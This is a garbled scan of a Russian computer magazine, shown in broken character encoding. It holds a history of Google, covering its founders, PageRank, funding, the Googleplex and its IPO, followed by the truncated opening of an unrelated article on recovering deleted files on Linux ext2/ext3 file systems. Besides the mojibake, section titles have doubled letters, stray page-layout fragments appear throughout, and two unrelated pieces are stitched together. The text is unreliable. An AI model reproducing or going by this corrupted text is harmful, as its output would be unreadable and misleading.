[[ÃÃààððààææ GGooooggllee IInncc..]] Â íà÷àëå ñåíòÿáðÿ 1998 ãîäà Ñåðãåé Áðèí âñòðå-
òèëñÿ ñ Ýíäè Áåõòîëüøåéìîì, îñíîâàòåëåì êîìïàíèé Sun Microsy-

stems è Granite Systems. Ñåðãåé ðàññêàçàë â îáùèõ ÷åðòàõ î
âîçìîæíîñòÿõ íîâîé òåõíîëîãèè, ïîêàçàë Google â äåé-

ñòâèè è óæå õîòåë áûëî ïîäðîáíî îáúÿñíèòü ïðèíöè-
ïû ðàáîòû ïîèñêîâèêà, íî Ýíäè íå ñòàë äàæå âíè-

êàòü â äåòàëè. Îí ïðîñòî ñïðîñèë: «Íà ÷üå èìÿ
âûïèñûâàòü ÷åê?».

×åê íà ñóììó 100 òûñÿ÷ äîëëàðîâ áûë âûïè-
ñàí íà åùå íå ñóùåñòâóþùóþ êîìïàíèþ

Google Inc. Ïàðíè ðåøèëè ïîêèíóòü
Ñòýíôîðä (Áðèíó îñòàâàëîñü âñåãî
ïîëãîäà äî çàùèòû äîêòîðñêîé äèñ-
ñåðòàöèè), ïðèõâàòèâ ñ ñîáîé Êðåé-

ãà Ñèëüâåðøòåéíà. Çà íåñêîëüêî äíåé
îíè ïîäãîòîâèëè âñå íåîáõîäèìûå äëÿ ðå-

ãèñòðàöèè êîìïàíèè äîêóìåíòû, ñîáðàëè
åùå íåìíîãî äåíåã è íàøëè îôèñíîå ïîìå-

ùåíèå äëÿ ñâîåé ôèðìû. 7 ñåíòÿáðÿ êîìïàíèÿ
Google Inc. áûëà îôèöèàëüíî çàðåãèñòðèðîâàíà

è íà÷àëà ðàáîòó íà ñëåäóþùèé äåíü, êîãäà âñå òðè
åå ðàáîòíèêà ïðèáûëè â ãàðàæ, ðàñïîëîæåííûé â Ìåí-

ëî-Ïàðêå øòàòà Êàëèôîðíèÿ.
Òåïåðü ñàéò ïîèñêîâèêà îáðåë äîìåííîå èìÿ google.com . Â ïðåññå

âñå ÷àùå ñòàëè ïîÿâëÿòüñÿ ôðàçû: «óìíûé ïîèñêîâèê» è
òàêèå êðóïíûå èçäàíèÿ, êàê USA Today è Le Monde.

Îñîáåííî îòìåòèëè Google çà óäîáñòâî ïîèñêà
èíôîðìàöèè. Â äåêàáðå 1998 ãîäà àâòîðè-

òåòíåéøèé æóðíàë PC Magazine ñîñòà-
âèë ñïèñîê ñòà ëó÷øèõ ñàéòîâ Èíòåð-

íåòà. Â ýòîì ñïèñêå îêàçàëñÿ è go-
ogle.com. Ñ ýòîãî íà÷àëàñÿ áóð-

íûé ðîñò Google Inc.
Â ôåâðàëå ñëåäóþùåãî ãîäà
ó êîìïàíèè áûëî óæ âîñåìü
ñîòðóäíèêîâ, à ÷èñëî çà-
ïðîñîâ íà ñåðâåðå ïåðåâà-

ëèâàëî çà 500 òû-
ñÿ÷ â äåíü. Ãàðàæ
â Ìåíëî-Ïàðêå ñòàë

ñëèøêîì ìàë äëÿ
íîðìàëüíîé ðàáîòû, è
îôèñ êîìïàíèè ïåðåìå-
ñòèëñÿ íà Þíèâåðñèòè àâ-

åíþ ãîðîäà Ïàëî-Àëüòî. Â
èþíå Google Inc. ïîëó÷àåò
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[[ÓÓííèèââååððññèèòòååòòññêêèèéé GGooooggllee]] Ñåðãåé, ïîëó÷èâøèé óæå ñòåïåíü ìàãèñòðà,
óñïåë ïîó÷àñòâîâàòü â ðåàëèçàöèè ìíîãèõ ó÷åáíûõ ïðîåêòîâ: îí ðàçðà-
áàòûâàë ñèñòåìó îòñëåæèâàíèÿ íàðóøåíèÿ àâòîðñêèõ ïðàâ, ó÷àñòâîâàë
â ñîçäàíèè êîíâåðòîðà äîêóìåíòîâ ôîðìàòà TeX â HTML (åãî èñïîëüçî-
âàëè äëÿ ïóáëèêàöèè íàó÷íûõ äîêóìåíòîâ â Ñåòè), ñîçäàë ñàéò, íà êîòî-
ðîì îñóùåñòâëÿëàñü ðåéòèíãîâàÿ îöåíêà íîâûõ êèíîôèëüìîâ. Íî âñå
áîëüøå åãî çàíèìàëè ïðîáëåìû ñáîðà äàííûõ. Îí âñòóïàåò â ðàáî÷óþ
ãðóïïó MIDAS (Mining Data at Stanford).
Â ýòîì æå íàïðàâëåíèè âåë ñâîè èññëåäîâàíèÿ è Ëàððè Ïåéäæ. Ðàíüøå
íå ðàçäåëÿâøèå èäåè äðóã äðóãà, Ñåðãåé è Ëàðè âïîñëåäñòâèè ñõîäÿòñÿ
âî ìíåíèè, ÷òî ñóùåñòâóþùèå ïîèñêîâûå ñèñòåìû êðàéíå íåýôôåê-
òèâíû, è ÷òî íåîáõîäèìî âûðàáîòàòü íîâûé ïîäõîä ê ïîèñêó
èíôîðìàöèè â Èíòåðíåòå.
Â êîíöå 1995-ãî îíè íà÷èíàþò âìåñòå ðàáîòàòü íàä ñîâ-
ìåñòíûì ïðîåêòîì ïîä óïðàâëåíèåì äîöåíòà êàôåäðû
èíôîðìàòèêè è âû÷èñëèòåëüíîé òåõíèêè Ðàäæèâà Ìî-
òâàíè. Èõ ïðîåêò â îáùèõ ÷åðòàõ áûë ãîòîâ óæå ê íà-
÷àëó 1996 ãîäà è ïðåäñòàâëÿë ñîáîé ñîâåðøåííî íî-
âûé àëãîðèòì ïîèñêà èíôîðìàöèè, òåõíîëîãèþ ïîëó-
÷èâøóþ íàçâàíèå Page Rank. Îñíîâíàÿ èäåÿ òåõíîëî-
ãèè ïðîñòà äëÿ ïîíèìàíèÿ è ñîñòîèò â ñëåäóþùåì.
Ñîçäàííûé ïàðíÿìè âåñíîé 1996 ãîäà ïîèñêîâûé ñåðâåð
BackRub àíàëèçèðîâàë òàê íàçûâàåìûå îáðàòíûå ññûëêè
(back links), òî åñòü êîëè÷åñòâî ññûëîê â Èíòåðíåòå, âåäóùèõ
íà äàííûé ñàéò. Äàëåå âûñòðàèâàë èåðàðõèþ ñàéòîâ, îñíîâûâàÿñü
íà ïîëó÷åííûõ äàííûõ. Òàêèì îáðàçîì, ðåàëèçóåòñÿ îñíîâíàÿ èäåÿ,
ïðåäëîæåííàÿ Ïýéäæåì è Áðèíîì äëÿ ýôôåêòèâíîãî ïîèñêà èíôîðìà-
öèè: ÷åì ÷àùå èìÿ ñàéòà öèòèðóåòñÿ â Ñåòè, òåì áîëåå àêòóàëüíóþ è
íóæíóþ èíôîðìàöèþ äëÿ ïîëüçîâàòåëÿ îí ñîäåðæèò. Â îòâåò íà îïðåäå-
ëåííûé çàïðîñ ïîèñêîâèê âûâîäèë ññûëêè, ïðåäâàðèòåëüíî îòñîðòèðî-
âàííûå ïî çíà÷èìîñòè. Ñîðòèðîâêà ýòà îñóùåñòâëÿëàñü íå òîëüêî ïóòåì
àíàëèçà êîëè÷åñòâà ññûëîê íà äàííûé ñàéò, íî è àíàëèçà èõ êà÷åñòâà �
ññûëêà ñ ñàéòà, çàíèìàþùåãî âûñîêîå ìåñòî â èåðàðõèè, èìåëà
áîëüøèé óäåëüíûé âåñ, ÷åì ññûëêà ñ ìåíåå çíà÷èìîãî,
ïðîïîðöèîíàëüíî èõ ïîëîæåíèþ â îáùåì ðåéòèíãå.
Èäåÿ áûëà îïèñàíà â íåñêîëüêèõ íàó÷íûõ ñòàòüÿõ,
îïóáëèêîâàííûõ Áðèíîì â àìåðèêàíñêèõ àêàäå-
ìè÷åñêèõ æóðíàëàõ.
Îñåíüþ 1996 ãîäà â êîìíàòå óíèâåðñèòåò-
ñêîãî îáùåæèòèÿ Ëàððè ñîáèðàåò ìîùíûé
ñåðâåð, ïðåäíàçíà÷åííûé äëÿ èíäåêñàöèè
èíòåðíåò-ñàéòîâ. Õîòÿ óíèâåðñèòåò ÷à-
ñòè÷íî ïðîôèíàíñèðîâàë ðàáîòó ðåáÿò,
èì ïðèøëîñü âëåçòü â äîëãè íà 15 òûñÿ÷
äîëëàðîâ � ïîòðåáîâàëîñü êóïèòü æå-
ñòêèõ äèñêîâ îáùèì îáúåìîì â 1 òåðàáàéò.
Ñåðãåé, â ñâîþ î÷åðåäü, çàíÿëñÿ ïðîäâèæå-
íèåì ïðîåêòà, ïðåâðàòèâ ñâîþ êîìíàòó â
îôèñ. Ðåáÿòà ïðåäîñòàâèëè âñåì ó÷àùèìñÿ
Ñòýíôîðäà âîçìîæíîñòü èñïîëüçîâàòü BackRub
äëÿ âíóòðèâóçîâîãî ïîèñêà èíôîðìàöèè, à ñàìè
ïðîäîëæèëè ðàçâèâàòü ñâîå äåòèùå. 
Çàïàòåíòîâàâ ñâîþ òåõíîëîãèþ ïîèñêà, Áðèí è Ïåéäæ ðå-
øèëè ïðîäàòü åå êàêîé-íèáóäü êðóïíîé èíòåðíåò-êîìïàíèè, íî èç
ýòîé çàòåè íè÷åãî íå ïîëó÷àëîñü. Êîìïàíèè â òî âðåìÿ
âåñüìà íåäàëüíîâèäíî ðàññìàòðèâàëè ïåðñïåêòè-
âû ïîèñêîâûõ ñåðâèñîâ, ñ÷èòàÿ èõ ÷åì-òî
âòîðîñòåïåííûì. Ãëàâà êðóïíîé â òî âðå-
ìÿ êîìïàíèè Excite, Äæîðäæ Áåëë,
îáúÿñíÿë ðåáÿòàì, ÷òî íà ïîèñêå äå-
íåã íå çàðàáîòàåøü, ÷òî ëó÷øå îò-
êðûòü áåñïëàòíûé ïî÷òîâûé
ñàéò è äåëàòü äåíüãè íà áàí-
íåðíûõ ïîêàçàõ (÷åðåç íåñ-
êîëüêî ëåò Excite îáàíêðîòè-
ëàñü). Íåñìîòðÿ íà âûíå-
ñåííûé ïðîôåññèîíàëàìè
èíòåðíåò-áèçíåñà ïðèãî-
âîð î áåñïåðñïåêòèâíîñòè
ïðîåêòà, Ñåðãåé è Ëàððè
ïðîäîëæèëè åãî ïîääåð-
æèâàòü, íå îñòàâëÿÿ ïîïû-
òîê åãî ïðîäàæè.
Ïðèìåðíî â ýòî âðåìÿ èõ ïî-
èñêîâèê îáðåë ñâîå èìÿ �
Google. Ïàðíè íåìíîãî èçìå-
íèëè íàïèñàíèå ñëîâà googol,

1 Ñåðãåé, Ëàððè è Ýðèê

2 Ëàððè Ïåéäæ

3 Ñåðãåé Áðèí
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ìèëëèîíîâ äîëëàðîâ îò äâóõ êðóïíåéøèõ â Ñèëèêîíîâîé äîëèíå
âåí÷óðíûõ êîìïàíèé � Sequoia Capital è Kleiner Perkins Caufield &
Byers. Ïðåäñòàâèòåëè ýòèõ êîìïàíèé, Ìàéê Ìîðèö è Äæîí Äåðð
(ðàíåå ðàáîòàâøèé ñ Sun Microsystems, Amazon è Yahoo!), ñòàíî-
âÿòñÿ ÷ëåíàìè ñîâåòà äèðåêòîðîâ Google.
Ê êîíöó 1999 ãîäà îôèñíûõ ïîìåùåíèé ñòàëî âíîâü íå õâàòàòü, è áûëî
ïðèíÿòî ðåøåíèå î ïîñòðîéêå ñîáñòâåííîãî çäàíèÿ.

[[GGoooogglleepplleexx]] Ïîñëå ïåðååçäà â òàê íàçûâàåìûé Googleplex � íîâûé
îôèñ, ðàñïîëîæåííûé â Ìàóíòèí Âüþ, êîìïàíèÿ ïîëó÷èëà
ñâîé ïåðâûé äåéñòâèòåëüíî êðóïíûé êîíòðàêò, çàêëþ÷åí-
íûé ñ America On-Line. Ñòàâ îôèöèàëüíûì ïîèñêîâûì
ñåðâåðîì ïîðòàëà AOL, Google ïîëó÷èë äî 3 ìèëëèî-
íîâ çàïðîñîâ â äåíü. Âî âòîðîé ïîëîâèíå ñåíòÿáðÿ
ïîèñêîâàÿ ñèñòåìà ïåðåñòàëà áûòü áåòà-âåðñèåé.
Â ýòîì æå ãîäó Google âûøëà çà ïðåäåëû øòàòîâ,
íà÷àâ ïðåäîñòàâëÿòü ñâîè óñëóãè ïîñåòèòåëÿì
áðèòàíñêîãî ïîðòàëà Virgin Net è èòàëüÿíñêîãî Vir-
gilio. Google ïðîäîëæàë ñòðåìèòåëüíî ïîêîðÿòü
ìèð.  Òàêèå êðóïíåéøèå àçèàòñêèå ïîðòàëû, êàê
ÿïîíñêèé BIGLOBE, êèòàéñêèé NetEase è þæíî-êî-
ðåéñêèé Lycos Korea, ñòàëè ïîëüçîâàòüñÿ óñëóãàìè Go-
ogle. Êðóïíåéøèé ëàòèíîàìåðèêàíñêèé ïîðòàë Universo
Online òàêæå ñòàë èõ êëèåíòîì. Áûë ïîäïèñàí êîíòðàêò ñ
Yahoo! � ñàìûì ïîïóëÿðíûì ñàéòîì â Èíòåðíåòå. Êîìïàíèÿ ñòàëà
ïîáåäèòåëåì êîíêóðñà æóðíàëà Wired, ïîëó÷èâ «Ãîëîñ ÷èòàòåëåé Wi-
red». Google Inc. îòêðûë ñâîè îòäåëåíèÿ â Òîêèî è Ãàìáóðãå äëÿ ïðè-
âëå÷åíèÿ ðåêëàìîäàòåëåé. Ê êîíöó ãîäà ïîèñêîâèê îáðàáàòûâàë 20
ìèëëèîíîâ çàïðîñîâ â äåíü, à â 2001 ãîäó óæå 100 ìèëëèîíîâ. Íàêî-
íåö, êîìïàíèÿ íà÷àëà ïðèíîñèòü ïðèáûëü.
Ñåé÷àñ â Googleplex ñîçäàíû âñå íåîáõîäèìûå óñëîâèÿ äëÿ ïëîäî-
òâîðíîé ðàáîòû. Ñîòðóäíèêè ìîãóò â ëþáîå âðåìÿ âîñïîëüçîâàòüñÿ
àâòîìàòàìè ñ áåñïëàòíûì êîôå, ÷àåì, ïðîõëàäèòåëüíûìè íàïèòêà-
ìè. Â îôèñ ìîæíî ïðèõîäèòü ñ äåòüìè, äîìàøíèìè æèâîòíûìè. À â
ñòîëîâîé ãîòîâèò îäèí èç ëó÷øèõ ïîâàðîâ Êàëèôîðíèè. Â êîðèäîðàõ
îôèñà íàä íåêîòîðûìè äâåðüìè âèñÿò îãðîìíûå øàðû êðàñíîãî,
æåëòîãî, ñèíåãî è çåëåíîãî öâåòîâ, ïðèñóòñòâóþùèõ â ëîãîòèïå êîì-
ïàíèè. Òåìè æå öâåòàìè íàðèñîâàíû êàðàíäàøíûå ðèñóíêè, ðàçâå-
øåííûå ïî ñòåíàì. Íà íèõ èçîáðàæåí æèçíåííûé ïóòü êîìïàíèè, åå
ãëàâíûå óñïåõè. Íà âõîäå â Googleplex ñòîèò ìîíèòîð, îòðàæàþùèé â
ðåæèìå ðåàëüíîãî âðåìåíè çàïðîñû, îáðàáàòûâàåìûå â äàííûé ìî-
ìåíò ïîèñêîâèêîì. Íà íåêîòîðûõ ñòåíàõ ìîæíî âñòðåòèòü ìèøåíè
äëÿ èãðû â äàðòñ. Äâàäöàòü ïðîöåíòîâ ðàáî÷åãî âðåìåíè ñîòðóäíèêè
ìîãóò èñïîëüçîâàòü äëÿ ðàçâèòèÿ ñâîåãî ïîòåíöèàëà: ðàçðàáîòêè
ñîáñòâåííûõ ïðîåêòîâ, ïðîâåäåíèþ èññëåäîâàíèé, íàïèñàíèþ ñòàòåé
èëè ïðîñòî äëÿ ñàìîîáðàçîâàíèÿ.
Ïðî Google Inc. ãîâîðÿò, ÷òî áûòü ÷àñòüþ êîìïàíèè � íå ðàáîòà, à
ïðèâèëåãèÿ. Ïîìèìî âûñîêîé çàðàáîòíîé ïëàòû, ñîòðóäíèêè ïîëó-
÷àþò òàêæå àêöèè êîìïàíèè, è ìíîãèå èç ñëóæàùèõ
êîìïàíèè ñòàëè ìèëëèîíåðàìè ïîñëå âûïóñêà àê-
öèé íà ðûíîê. Òðåáîâàíèÿ ê ñîèñêàòåëÿì
î÷åíü âûñîêè � òàê ñðåäè ïåðâûõ íàíÿòûõ
150 ÷åëîâåê áûëî 20 äîêòîðîâ òåõíè÷å-
ñêèõ íàóê. Ñàìè Áðèí è Ïåéäæ çàíèìà-
þò äîëæíîñòè ïðåçèäåíòîâ êîìïàíèè.
Ñåðãåé � ïðåçèäåíò ïî òåõíîëîãèè,
Ëîðåíñ � ïðåçèäåíò ïî ïðîäóêöèè.
Íà äîëæíîñòü ïðåäñåäàòåëÿ ñîâåòà
äèðåêòîðîâ è ãëàâíîãî èñïîëíè-
òåëüíîãî äèðåêòîðà îíè íàíÿëè áî-
ëåå îïûòíîãî â áèçíåñå ÷åëîâåêà
� Ýðèêà Øìèäòà, ðàáîòàâøåãî äî
Google â Novell. Ñåðãåé áîëüøóþ
÷àñòü ðàáî÷åãî âðåìåíè çàíèìàåòñÿ
îðãàíèçàöèîííûìè âîïðîñàìè, ïðè-
íèìàåò ðåøåíèÿ, ñâÿçàííûå ñ äàëü-
íåéøåé ïîëèòèêîé êîìïàíèè. Îí òàêæå
àêòèâíî ó÷àñòâîâàë â ïðîåêòå ðóñèôèêà-
öèè Google � íåñìîòðÿ íà òî, ÷òî îí ïîêè-
íóë Ðîññèþ â ïÿòèëåòíåì âîçðàñòå, îí ïðå-
êðàñíî ãîâîðèò ïî-ðóññêè è ÷àñòî äàåò îòå÷å-
ñòâåííûì æóðíàëèñòàì èíòåðâüþ íà ðóññêîì ÿçûêå.
Ê 2003 ãîäó Google ñòàë ñàìîé ïîïóëÿðíîé ïîèñêîâîé ñèñòåìîé â ìèðå:
200 ìèëëèîíîâ çàïðîñîâ â äåíü íà 88 ÿçûêàõ! Â íåêîòîðûõ ñòðàíàõ ýòî
ñîñòàâëÿëî áîëüøå 80% îò âñåãî îáúåìà ïîèñêîâûõ óñëóã â Èíòåðíåòå.
Â íîâûõ ýíöèêëîïåäè÷åñêèõ ñëîâàðÿõ ìîæíî âñòðåòèòü ãëàãîë to google,
îçíà÷àþùèé ïîèñê èíôîðìàöèè â Ñåòè.

[[ÊÊààïïèèòòààëëèèççààööèèÿÿ]] Â íà÷àëå 2003 ãîäà èçâåñòíàÿ áðèòàíñêàÿ êîìïàíèÿ In-
terbrand îáúÿâèëà Google áðåíäîì ãîäà. Ïîèñêîâèêó óäàëîñü îáîéòè â
ýòîì çâàíèè Apple è Coca-Cola. Ïîëó÷àÿ îãðîìíûå ïðèáûëè, Google â
2004 ãîäó âñå åùå îñòàâàëàñü ÷àñòíîé êîìïàíèåé, àêöèè êîòîðîé ïðè-
íàäëåæàëè óçêîìó êðóãó êîìïàíèé-èíâåñòîðîâ, åå îñíîâàòåëÿì è ðàáîò-
íèêàì. Äëÿ äàëüíåéøåãî ðàçâèòèÿ ñòàëî íåîáõîäèìî âûâîäèòü Google
Inc. íà áèðæó. Ïðîèçîøëî ýòî â àâãóñòå ìåñÿöå, êîãäà àêöèè êîìïàíèè
ïîÿâèëèñü íà áèðæå NASDAQ, âûçâàâ áîëüøîé àæèîòàæ è ñäåëàâ Ñåð-

ãåÿ è Ëàððè ìèëëèàðäåðàìè. ×óòü ïîçæå æóðíàë Forbes íàçîâåò àâ-
òîðîâ Google ñàìûìè ìîëîäûìè ìèëëèàðäåðàìè ïëàíåòû.

×òîáû èñêëþ÷èòü âëèÿíèå êîðïîðàöèé, âëàäåþùèõ áîëü-
øèì ïàêåòîì àêöèé, íà àóêöèîíå áûëè ðàñïðîäàíû

òîëüêî àêöèè, íå äàþùèå èõ äåðæàòåëþ ïðàâà ãîëîñà
â êîìïàíèè. Ïðàâî óïðàâëÿòü êîìïàíèåé, îñíîâàòå-

ëè îñòàâèëè çà ñîáîé.
Â 2004 ãîäó Ñåðãåþ Áðèíó è Ëîðåíñó Ïåéäæó
âðó÷èëè ïðåñòèæíóþ ïðåìèþ Ìàðêîíè. Äî

ýòîãî åþ áûëè óäîñòîåíû Òèì Áåðíåðñ-Ëè,
ïðèäóìàâøèé WWW, Ðîáåðò Ìåòêàëô � èçîáðåòà-

òåëü òåõíîëîãèè Ethernet. Êàê âèäèøü, ðàçðàáîòêè
Ñåðãåÿ è Ëàððè â îáëàñòè èíôîðìàöèîííûõ òåõíîëîãèé

áûëè âûñîêî îöåíåíû, äàæå ïðèçíàíû ðåâîëþöèîííûìè.
Ñàéò The Times of India ïðîàíàëèçèðîâàë â 2001 ãîäó ïðåè-

ìóùåñòâà Google ïåðåä äðóãèìè ïîèñêîâûìè ñèñòåìàìè. Âûÿñ-
íèëîñü, ÷òî ñèëüíûå ñòîðîíû Ãóãëà � ýòî ìèíèìàëüíîå ÷åëîâå÷åñêîå
âìåøàòåëüñòâî â ìåõàíèçì ïîèñêà è ïîñòîÿííîå ñîâåðøåíñòâîâàíèå èñ-
ïîëüçóåìîé òåõíîëîãèè. Âàæíîé ñîñòàâëÿþùåé óñïåõà êîìïàíèè ñòàëî
òàêæå ïðàâèëüíîå ïîçèöèîíèðîâàíèå íà ñëîæèâøåìñÿ ðûíêå èíòåðíåò-
óñëóã íà ïðîòÿæåíèè âñåãî ñâîåãî ñóùåñòâîâàíèÿ. Èçíà÷àëüíî Google Inc.
íå ðàññìàòðèâàë êðóïíûå ïîðòàëû â êà÷åñòâå ñâîèõ êîíêóðåíòîâ, à âèäåë
â íèõ ïîòåíöèàëüíûõ êëèåíòîâ. Ëèöåíçèðîâàíèå ñîáñòâåííîé ïîèñêîâîé
ñèñòåìû äðóãèì ôèðìàì ïðåâðàòèëîñü â êðóïíûé èñòî÷íèê äîõîäîâ. 
À ïîçæå êîìïàíèÿ íà÷àëà íàðàùèâàòü êîëè÷åñòâî äîïîëíèòåëüíî ïðåäî-
ñòàâëÿåìûõ ñåðâèñîâ.
Õîòÿ ëèöåíçèðîâàíèå òåõíîëîãèé äðóãèì ôèðìàì è ïðèíåñëî îùóòèìóþ
ïðèáûëü, îñíîâíûì èñòî÷íèêîì äîõîäîâ âñå æå ÿâëÿåòñÿ ðåêëàìà. Çäåñü
Google âíîâü ïðîÿâèë ñåáÿ èííîâàòîðîì. Âî-ïåðâûõ, ïîëíîå îòñóòñòâèå
áàííåðîâ, íàäîåäëèâûõ âñïëûâàþùèõ îêîí è ò.ï., âìåñòî âñåãî ýòîãî �
îáû÷íûå ññûëêè íà ñàéòû ðåêëàìîäàòåëåé. Âî-âòîðûõ, òîëüêî òåìàòè÷å-
ñêàÿ ðåêëàìà, ñîîòâåòñòâóþùàÿ ââåäåííîìó ïîëüçîâàòåëåì çàïðîñó. Â-
òðåòüèõ, ðåêëàìíûå ññûëêè âûäåëÿþòñÿ ñðåäè îñòàëüíûõ, ÷òî âåñüìà
÷åñòíî ïî îòíîøåíèþ ê ïîëüçîâàòåëÿì. Ïðåèìóùåñòâà òàêîé ðåêëàìíîé
ìîäåëè ïî äîñòîèíñòâó áûëè îöåíåíû êàê þçåðàìè, òàê è ðåêëàìîäàòå-
ëÿìè. Ñîòíè òûñÿ÷ ðåêëàìîäàòåëåé çàêëþ÷èëè êîíòðàêòû ñ Google.

[[GGooooggllee VVSS MMiiccrroossoofftt]] Ñåãîäíÿ Google.com çàíèìàåò ÷åòâåðòîå ìåñòî
â ñïèñêå ñàìûõ ïîñåùàåìûõ ñàéòîâ Èíòåðíåòà, óñòóïàÿ Yahoo!,
MSN è AOL. Ìåæäó ýòèìè êîìïàíèÿìè íà÷àëàñü íàñòîÿùàÿ âîéíà

çà ñåòåâûìè þçåðàìè. Âðÿä ëè ïîèñêîâûå ñèñòåìû îò
Yahoo! èëè AOL ñìîãóò êîíêóðèðîâàòü ñ Google, à

âîò ïîðòàë îò Ãóãëà ìîæåò îêàçàòüñÿ âïîëíå
êîíêóðåíòîñïîñîáíûì. Âïðî÷åì, âðåìÿ ïî-

êàæåò. Ðåàëüíàÿ óãðîçà äëÿ Google èñõî-
äèò ñåé÷àñ îò Microsoft, âåäóùåé ðàáîòû

ïî ðàçâèòèþ ñâîåé ñèñòåìû MSN, êîòî-
ðàÿ, êîíå÷íî æå, ñòàíåò àêòèâíî èñ-
ïîëüçîâàòüñÿ ñëåäóþùèìè âåðñèÿìè
èõ îïåðàöèîííûõ ñèñòåì. Ñòèâ Áàë-

ìåð íà íåäàâíåé âñòðå÷å ñî
ñòóäåíòàìè Ñòýíôîðäà ïî-
äåëèëñÿ ìûñëÿìè î áóäó-

ùåì Google, îòâåäÿ òîìó
ïÿòü ëåò æèçíè, à Áèëë Ãåéòñ íà êîí-

ôåðåíöèè D3, ïðîøåäøåé â Êàðëñáà-
äå, íàçâàë Ãóãë «ïóçûðåì, ïîêà åùå

íàõîäÿùåìñÿ íà ïëàâó». 
Â ñðåäñòâàõ ìàññîâîé èíôîðìàöèè ÷àñòî

öèòèðóåòñÿ ôðàçà Ñåðãåÿ Áðèíà: «Íåêîòî-
ðûå ãîâîðÿò, ÷òî Google � ýòî Áîã. Äðóãèå �

÷òî ýòî ñàì Ñàòàíà. Íî åñëè òå è äðóãèå äóìà-
þò, ÷òî Google ÷åðåñ÷óð âëèÿòåëüíà, òî ïóñòü

âñïîìíÿò, ÷òî ïîèñêîâûå ñèñòåìû ðàçäåëÿåò åäèíñòâåí-
íûé ùåë÷îê ìûøè. Ëþäè ïðèõîäÿò íà Google ïîòîìó, ÷òî îíè åå âû-
áèðàþò. Ìû èõ íå çàñòàâëÿåì»

[X
À

Ê
Å

Ð
10

[8
2

] 
0

5
 >

Ñ
Ö

Å
Í

À
0

9
6

]

1 ðàáîòíèêè êîìïàíèè

2 ðàáî÷åå ìåñòî ñîòðóäíèöû Google :)

1 

2





[ââåäåíèå] Ïî÷åìó ãèáíóò ôàéëû? Êàðìà 
ó íèõ òàêàÿ. À åñëè ñåðüåçíî, òî ñóùåñòâóþò òû-
ñÿ÷è ïðè÷èí � îò âèðóñîâ äî îøèáîê ÷åëîâå-
÷åñêîãî ôàêòîðà. Îñíîâíûì ñïîñîáîì îáùåíèÿ
ñ ïîëüçîâàòåëåì â Linux îñòàåòñÿ êîìàíäíàÿ
ñòðîêà, ëåãêî óäàëÿþùàÿ âñå áåç ðàçáîðà. Ñòî-
èò òîëüêî îòäàòü ñëåãêà íåâåðíûé ïðèêàç è...
Êóäà ïîäåâàëèñü âñå ìîè ôàéëû? Â MS-DOS
ñóùåñòâîâàëà çàìå÷àòåëüíàÿ óòèëèòà undelete,
ðåãóëÿðíî âûòàñêèâàþùàÿ èç íåáûòèÿ ìíîãèå

098
ÄËß ÂÎÑÑÒÀÍÎÂËÅÍÈß ÓÄÀËÅÍÍÛÕ ÔÀÉËÎÂ
ÑÓÙÅÑÒÂÓÅÒ ÌÍÎÆÅÑÒÂÎ ÃÎÒÎÂÛÕ ÓÒÈËÈÒ,
ÍÎ ÄÀËÅÊÎ ÍÅ ÂÑÅ (È ÍÅ ÂÑÅÃÄÀ) ÈÇ ÍÈÕ ÐÀ-
ÁÎÒÀÞÒ, ÊÀÊ ÎÆÈÄÀÅÒÑß. ÍÀÌÍÎÃÎ ÍÀÄÅÆ-
ÍÅÅ (È ÈÍÒÅÐÅÑÍÅÅ) ÂÎÑÑÒÀÍÀÂËÈÂÀÒÜ ÄÀÍ-
ÍÛÅ ÂÐÓ×ÍÓÞ. ÑÅÉ×ÀÑ ÌÛ ÏÎÃÐÓÇÈÌÑß Â
ÌÈÐ ÔÀÉËÎÂÎÉ ÑÈÑÒÅÌÛ EXT2FS È ÏÎÑÌÎÒ-
ÐÈÌ, ÊÀÊÈÅ ØÅÑÒÅÐÅÍÊÈ ÏÐÈÂÎÄßÒ ÅÅ Â
ÄÂÈÆÅÍÈÅ | Êðèñ Êàñïåðñêè àêà ìûùúõ
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Âîññòàíàâëèâàåì
äàííûå â Linux

ìåãàáàéòû äàííûõ. Â ïîïóëÿðíîé îáîëî÷êå Midnight Commander òàêæå
èìååòñÿ ïîõîæàÿ êîìàíäà. Ê ñîæàëåíèþ, îíà ñðàáàòûâàåò íå âñåãäà
(èëè îáíàðóæèâàåò íå âñå ôàéëû), è òîãäà ïðèõîäèòñÿ ïðèáåãàòü ê ðó÷-
íîìó âîññòàíîâëåíèþ. Íå âîëíóéñÿ! Ýòî íàìíîãî ïðîùå, ÷åì ìîæåò ïî-
êàçàòüñÿ íà íåèñêóøåííûé âçãëÿä!

[ñòðóêòóðà ôàéëîâîé ñèñòåìû] Â ïðîòèâîâåñ Windows NT, ïîääåð-
æèâàþùåé òîëüêî NTFS è FAT, îïåðàöèîííûå ñèñòåìû ñåìåéñòâà Linux
ïðåäëàãàþò äîâîëüíî øèðîêèé àññîðòèìåíò ôàéëîâûõ ñèñòåì íà ëþáîé
âêóñ: ext2fs, ext3fs, reiserfs, xfs, jfs. Ïðè âíåøíåé ñõîæåñòè «ïîòðåáèòåëüñ-
êèõ» âîçìîæíîñòÿõ, èõ «ôèçè÷åñêîå» óñòðîéñòâî ñèëüíî îòëè÷àåòñÿ, 
è êàæäàÿ èç íèõ òðåáóåò ñâîåé òåõíèêè âîññòàíîâëåíèÿ. Â ðàìêàõ îäíîé-
åäèíñòâåííîé ñòàòüè ïîäíÿòü ýòó ãëûáó íåðåàëüíî, ïîýòîìó ìû ðåøèëè
îñòàíîâèòüñÿ íà ext2fs/ext3fs, êàê íà ñàìîé ïîïóëÿðíîé ôàéëîâîé ñèñòå-
ìå, óñòàíàâëèâàåìîé ïî óìîë÷àíèþ â áîëüøèíñòâå Linux-äèñòðèáóòèâîâ.
Ôàêòè÷åñêè, ext3fs � ýòî ext2fs ñ ïîääåðæêîé æóðíàëèðîâàíèÿ. Îòëè÷èÿ
áàçîâûõ ñòðóêòóð ìèíèìàëüíû, íî âîò ïðîöåññ óäàëåíèÿ ôàéëîâ â íèõ
ïðîòåêàåò ïî-ðàçíîìó. Â ext2fs ïðè óäàëåíèè ôàéëà òåðÿåòñÿ åãî èìÿ
(õîòÿ è íå çàòèðàåòñÿ äî ïîðû äî âðåìåíè), ïîýòîìó àâòîìàòè÷åñêîå
âîññòàíîâëåíèå èìåí â íåé íåâîçìîæíî, çàòî ñàìî ñîäåðæèìîå ôàéëà
îñòàåòñÿ íåòðîíóòûì. Ext3fs ïîñòóïàåò ñ òî÷íîñòüþ äî íàîáîðîò � ñîõ-
